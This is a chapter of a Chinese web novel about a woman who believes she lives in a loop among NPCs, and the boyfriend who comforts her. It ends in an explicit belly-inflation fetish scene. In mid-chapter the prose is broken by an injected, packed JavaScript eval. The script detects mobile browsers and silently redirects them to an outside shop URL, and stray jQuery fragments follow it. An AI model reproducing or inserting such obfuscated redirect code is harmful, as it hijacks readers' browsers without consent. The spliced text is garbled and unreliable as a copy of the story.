见宋霁微软硬不吃,孙姐手覆在她手背上,“你听孙姐说,你年休假还没休呢,你要辞职也得把假休了不是?这样,孙姐做主,你先回家歇几天,什么都别想,休息好了再说。就当是给孙姐一个面子,好不好?也先别收东西了,说不定等你回来就想通了。”
能够在离职前休完年休假,这的确是为她好的决策,宋霁微有些意外。
孙姐笑盈盈地拍了拍宋霁微的手背,“孙姐说的,你可明白?”
不知是否错觉,宋霁微竟在她的笑容里读到了同仇敌忾,她点头:“谢谢孙姐。”
孙姐舒了口气:“别忘了打审批。”
“好。”
宋霁微当场提交了申请,卡在周坪那,孙姐亲自跑了趟周坪办公室,告诉他让宋霁微休假的建议是秦学文提的,周坪有火不敢发,只好同意。
午后的阳光铺在台阶上,白花花的,宋霁微没急着回家,沿着人行道漫无目的地走。
分明是工作日,街上人也不少,路口等红灯时迎面走来一男一女,女生挽着男生胳膊,歪着头在笑,男生一手拎着奶茶,一手在她额头上摸了摸。
他们从宋霁微身边擦过,笑声清脆,笑容明朗。像是活生生的人。
宋霁微走了很久。
网红奶茶店门口排着长队,修鞋摊旁躺着一只橘猫,公园里许多只狗在草坪上开大会,还看到推婴儿车的夫妻,举着气球的小孩,坐在花坛边抽烟的中年男人。
每一张脸上都挂着鲜活的表情,他们不知道,其实他们在一段又一段循环里走着同样的路,说着同样的话,开心着同样的开心,烦恼着同样的烦恼。
都是NPC。
她自己呢?宋霁微想。
她也不过是高级的NPC罢了。
身处循环中,做那些基础的工作,拿不痛不痒的奖,每一轮换一个人来攻略她……
她的人生就是在每一个轮回里和不同的男人谈恋爱吗?也太无聊了吧。
她要做些什么更有意义的事吗?
在这样的轮回里生存,又真的有有意义的事吗?
她想不明白,想得脑袋都痛了。
拐进小区时,正值阳光最盛的时间,太阳炙烤大地,让春日有了夏的灼热。
程渡去学校了,她径直回了自己的出租屋。
进卧室,拉上窗帘,然后走到床边,整个人倒下去。
床垫弹了一下又稳住。
闭上眼,耳朵里是嗡嗡隆隆的电流声,像远处海滩上有人踩着湿沙走路。
手机震了几下,她没动,懒得回复。
窗帘劣质,能透进外头传来的朦胧光亮,外面天色一点点沉下,灰成深蓝,再变墨黑,直至最后一道光灭,卧室彻底暗下来。
她翻了个身面朝衣柜,被面蹭着脸颊,很舒服。
不知躺了多久,手机震了会,停了,又再震起来,又停了。
都是循环。都是NPC。都没有意义。
巨大的虚无感几乎吞噬她,让她提不起劲。
她把脸往枕头里埋了埋。
远处隐约传来谁家放电视的声音,断断续续的,听不清楚。
手机铃声再度响起,坚持不懈,不容忽视。
宋霁微深深叹了口气,偏头看,程渡的名字横在屏幕上。
眉心动了动,她伸手按了接听。
“你在哪?”压抑急促的声音从听筒里传来。
宋霁微懒声:“在家。”
那边安静了会,像在消化“家”这个词,顿了顿,问:“对面?”
“嗯。”
“我过来。”
拒绝的话没出口,电话已被挂断,宋霁微只能强打起精神从床上撑起来。
在床沿晃了会神,她努力地站起来去给程渡开门。
程渡从Jimmy那听来一些消息,周坪发疯、秦学文和孙姐分别找宋霁微谈了话,然后宋霁微就离开了公司。
具体发生了什么,Jimmy不知情,他更是担心。
开完门,宋霁微拖着疲惫的身躯转身就走,程渡跟在后面:“怎么了?”
宋霁微脚步未停,双臂垂挂,像是行尸走肉,语气悠长:“打算辞职,没辞掉,现在在休假。”
进卧室,宋霁微重新躺下。
程渡挨着她坐下,“饿不饿?我给你做点吃的?是不是中午回来就没吃了?”
“没心情,不想吃。”
程渡忧心忡忡,又问:“要不要去我那?那边的床大些,你躺着更舒服,好好睡一觉。”
宋霁微摇头。
虽说宋霁微平日里就像是个机器人,情绪淡淡的,但偶尔还会说些逗趣的话,眉眼间神采飞扬,眼下,她简直成了机器人本人,还是那种被拔了电的,完全丧失了作为人的生命力,只剩下机器的冰冷,程渡惶惶无措,本就不擅长宽慰,此刻更是张口无言,脑袋空白。
“不用,”宋霁微说,“我想自己待一会。”
收到逐客令,程渡仍旧枯坐着,不走,也不说话。
宋霁微偏脸看他,他正埋头盯着地面,不知在想些什么。
许久,他小心翼翼地问:“微微,我想在这陪你,可以吗?”
声音微弱,让宋霁微想起少时读过的童话故事,卖火柴的小女孩,程渡就像是小女孩在寒冬擦亮的火苗,微小,却无尽温柔。
根本无法拒绝。
宋霁微:“好吧。”
程渡接着问:“我可以……”
“可以。”宋霁微直截了断地回应,“你想做什么就做。”
“好。”宋霁微的回答绝对算不上好语气,程渡更是谨小慎微,缩着肩膀在她旁边躺下。
床太小,两人骨架都大,并排躺几乎没有空隙,她后背贴着他的胸口,倒是十分暖和。
他的胳膊试探性地环过来,松垮地搭在宋霁微腰间,见她没有拒绝,他慢慢抱住了她。
温热的呼吸在宋霁微后颈上拂来拂去,偶尔会有一缕气流撩到她耳廓,痒痒的,她不自禁微动,他便立刻把松开半寸。
见宋霁微并无要推开他的意思,他又壮着胆子问:“想聊聊吗?”
宋霁微摇头。
无论是内心的荒芜感,还是关于循环的恐惧,都不能和程渡言说。
宋霁微想,这就是作为主角的孤独。
她其实并不需要别人的慰藉,她只要躺上一天一夜,时间自会治愈她的一切疑难杂症。
旁边的人缄默了。
他不开口,心声却是一刻不停。
【她在想什么呢?】
【我能做什么?】
【她是不是很难过……】</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771225|209921||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
【我是不是应该走?】
【可我如果走了,她要怎么办……】
【她会不会觉得我很烦……】
……
那些笨拙的念头一个个冒出来,像是水里的泡泡,咕嘟咕嘟。
宋霁微不由得扯起嘴角。
这人挺有意思,面上瞧起来呆萌,内心戏竟然那么多。
压在腰侧的力量陡然撤开,接着床垫轻了半分,程渡起来了。
他蹑手蹑脚地离开,生怕惊醒谁似的。
宋霁微瞄着他,见他悄悄拉门出去,微微皱眉。
他走了,觉得有点冷。
过了好久,程渡回来了,脚步变得有些沉重。
床垫重新陷下去,他躺回原来的位置。
想象中的拥抱没来,垂在身侧的手被他捉住。
在他的指引下,她的掌心摸到一个圆滚滚的温热的东西上面。
宋霁微手指蜷动。
圆鼓鼓,紧绷绷,像一只灌满水的气球,不如水软,是皮肉撑开后硬中带韧的触感。
她回过头来。
借着零星微光勉强够看清他的轮廓,他侧躺着面向她,小腹从睡衣下摆底下露出来,撑得浑圆,泛着一层湿润的亮色。
他的神色在暗影里看不太清,能感觉到他的呼吸很重,该是很辛苦。
“这样,”他嗓子眼里像是被什么堵住,满是艰涩:“你会开心点吗?”
宋霁微心里软了又软。
她在那些惹她不快的NPC身上浪费情绪,岂不是对关心她的人的不公平?
有没有循环,人生总还是要过的。
至少,这一轮,她遇到了程渡。
“别这样了。”她说。
程渡急急攥住她想要抽回的手,把她的手更紧地按在自己肚皮上,一下一下蹭着,压迫难耐,腹壁痉挛,一层鸡皮疙瘩泛开,漫到锁骨底下。
宋霁微完全感知到他的慌乱,又热又急,像一只不知道该怎么办的动物在她手心里拱着。
“微微……”
那可怜的恳求声犹如钩子,锚定了宋霁微心头,她翻身撑起,压在他上方。
床垫因她的动作轻陷下去,程渡的呼吸顿了一拍,仰面看着她,眼里的无措被惊讶所取代,又恢复了往日那种书生气的呆。
宋霁微轻笑:“你这样,我很喜欢。但你这样,我会心疼。我没别的意思,我不想看你难受。”
他膨起的小腹顶着她,一起一伏,他抿唇,纠结后郑重说道:“你喜欢,就值得。”
宋霁微吻住他的唇,他一只手攀住她的肩膀,另一只手虚虚地搭在自己肚子上,一面情难自禁,一面胀得难忍。
可如果微微喜欢,一切都很值得。
舌在程渡口中游走,手也不甘示弱,顺着他隆起的腹部侵城略地,程渡肌肤滑嫩,手感很好,让人摸着忍不住揉搓碾磨。
程渡完全顶不住,腹胀到了极限,那不安分的手还在四处撩火,加上被吻得氧气不足,有点晕晕乎乎,挣扎着嘤了几声,本能抓住宋霁微手腕。
宋霁微退开半寸。
身下的人双眸乌黑湿润,眼底、唇上都泛着水色,简直像是雨后枝头挂着水滴的桃子,实在诱人。
“有点……憋……不住了。”程渡脸通红,双腿交缠不住磋磨。